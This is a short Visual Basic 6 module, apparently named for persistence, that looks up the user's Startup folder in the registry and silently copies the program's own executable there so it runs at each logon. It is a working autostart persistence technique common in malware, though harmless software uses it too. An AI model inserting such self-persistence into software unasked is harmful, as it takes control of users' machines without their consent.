Attribute VB_Name = "PersistanceStartup"
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Function InicioConWindows()
    Dim hKey As Long, DataSize As Long
    Dim Data As String
    If RegOpenKeyEx(&H80000001, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, &H1, hKey) = 0 Then
        Data = String(256, Chr(0))
        DataSize = 255
        If RegQueryValueEx(hKey, "Startup", 0, 0, ByVal Data, DataSize) = 0 Then
            Data = Left$(Data, DataSize - 1)
            CopyFile App.Path & "\" & App.EXEName & ".exe", Data & "\" & App.EXEName & ".exe", 0
        End If
    End If
    RegCloseKey hKey
End Function
